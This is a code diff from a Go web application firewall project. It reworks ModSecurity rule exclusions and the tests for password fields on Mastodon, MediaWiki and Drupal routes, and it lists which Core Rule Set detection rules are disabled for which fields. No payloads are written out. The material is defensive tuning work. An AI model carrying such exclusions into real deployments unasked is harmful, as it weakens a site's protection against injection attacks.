{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
||||||
{reply, drupalName + attack},
|
{reply, drupalName + attack},
|
||||||
|
{drupalSignIn, "pass=" + attack},
|
||||||
{drupalSignIn, drupalName + attack},
|
{drupalSignIn, drupalName + attack},
|
||||||
{"/fr/user/login", drupalName + attack},
|
{"/fr/user/login", drupalName + attack},
|
||||||
{"/user/register", drupalName + attack},
|
{"/user/register", drupalName + attack},
|
||||||
@@ -171,25 +172,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDrupalPasswordPasses(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, r := range []request{
|
|
||||||
{http.MethodPost, drupalSignIn, []string{formData}},
|
|
||||||
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
|
|
||||||
} {
|
|
||||||
t.Run(r.target, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, "pass")
|
|
||||||
|
|
||||||
// No rule pass keeps catches the SQL injection or the path
|
|
||||||
// traversal.
|
|
||||||
wantPasswordAttacksRefused(t, r, "pass", scriptTag)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -176,85 +176,6 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
|
||||||
|
|
||||||
# The passwords named above skip each rule that random passwords set off.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete)|auth)(?:/|$)" \
|
|
||||||
"id:900965,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
|
|
||||||
|
|
||||||
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
|
||||||
"id:900966,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
|
|
||||||
|
|
||||||
# The web app's reports have the JSON keys forward and forward_to_domains. A
|
# The web app's reports have the JSON keys forward and forward_to_domains. A
|
||||||
# report forwarded to another server lists that server in forward_to_domains.
|
# report forwarded to another server lists that server in forward_to_domains.
|
||||||
# Their names contain .forward, a file in a home folder, so 930120 refused every
|
# Their names contain .forward, a file in a home folder, so 930120 refused every
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
"slices"
|
||||||
"strings"
|
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
@@ -130,6 +129,10 @@ var mastodonFormFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
||||||
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||||
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||||
|
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
||||||
|
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||||
|
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||||
|
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||||
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
||||||
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
||||||
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
||||||
@@ -142,18 +145,6 @@ var mastodonFormFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
||||||
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
||||||
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
||||||
{http.MethodPost, mastodonSignUp, "reason="},
|
|
||||||
}
|
|
||||||
|
|
||||||
// mastodonPasswordForms sends each password field in a form data body, on
|
|
||||||
// a path where it skips the four rules and the rules that random passwords
|
|
||||||
// set off.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var mastodonPasswordForms = []mastodonBodyField{
|
|
||||||
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
|
||||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
|
||||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
|
||||||
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
||||||
{
|
{
|
||||||
http.MethodPost, "/settings/migration/redirect",
|
http.MethodPost, "/settings/migration/redirect",
|
||||||
@@ -161,14 +152,7 @@ var mastodonPasswordForms = []mastodonBodyField{
|
|||||||
},
|
},
|
||||||
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
||||||
{http.MethodPost, mastodonSignUp, passwordField},
|
{http.MethodPost, mastodonSignUp, passwordField},
|
||||||
}
|
{http.MethodPost, mastodonSignUp, "reason="},
|
||||||
|
|
||||||
// mastodonPasswordJSON sends the password of signing up through the API in
|
|
||||||
// a JSON body, with %s for its value.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a struct cannot be a constant
|
|
||||||
var mastodonPasswordJSON = mastodonBodyField{
|
|
||||||
http.MethodPost, mastodonSignUp, `{"password":%s}`,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
||||||
@@ -194,6 +178,7 @@ var mastodonJSONFields = []mastodonBodyField{
|
|||||||
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
||||||
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
||||||
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
||||||
|
{http.MethodPost, mastodonSignUp, `{"password":%s}`},
|
||||||
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
||||||
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
||||||
@@ -302,35 +287,6 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMastodonPasswordsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, sent := range mastodonPasswordForms {
|
|
||||||
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
r := request{sent.method, sent.target, []string{formData}}
|
|
||||||
name := strings.TrimSuffix(sent.field, "=")
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, name)
|
|
||||||
|
|
||||||
// No rule these fields keep catches the SQL injection or the path
|
|
||||||
// traversal.
|
|
||||||
wantPasswordAttacksRefused(t, r, name, scriptTag)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
t.Run("JSON", func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
|
|
||||||
[]string{jsonBody}}
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, "password")
|
|
||||||
wantPasswordAttacksRefused(t, r, "password", scriptTag)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -343,7 +299,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
|
for _, sent := range mastodonFormFields {
|
||||||
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
|
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
|
||||||
t.Errorf("%v let through", sent)
|
t.Errorf("%v let through", sent)
|
||||||
}
|
}
|
||||||
@@ -354,8 +310,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
|||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
|
||||||
passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
|
for _, sent := range mastodonJSONFields {
|
||||||
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
|
|
||||||
if mastodonJSON(t, sent, attack) < mastodonThreshold {
|
if mastodonJSON(t, sent, attack) < mastodonThreshold {
|
||||||
t.Errorf("%v let through", sent)
|
t.Errorf("%v let through", sent)
|
||||||
}
|
}
|
||||||
@@ -375,12 +330,6 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
t.Errorf("%s refused: %d", sent, score)
|
t.Errorf("%s refused: %d", sent, score)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range mastodonPasswordForms {
|
|
||||||
if mastodonForm(t, sent, value) >= mastodonThreshold {
|
|
||||||
t.Errorf("%v with %s refused", sent, value)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
code := url.QueryEscape(mastodonCodePost)
|
code := url.QueryEscape(mastodonCodePost)
|
||||||
|
|||||||
@@ -108,86 +108,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
||||||
|
|
||||||
# wpPassword, lgpassword and password skip each rule random passwords set off.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|
||||||
"id:900917,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
|
||||||
SecRule &ARGS_GET:wpPassword "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
|
|
||||||
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
|
||||||
"id:900918,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:lgpassword|password)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password)$/"
|
|
||||||
|
|
||||||
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
||||||
# or prependtext, and the REST API in the JSON field source. Each of these
|
# or prependtext, and the REST API in the JSON field source. Each of these
|
||||||
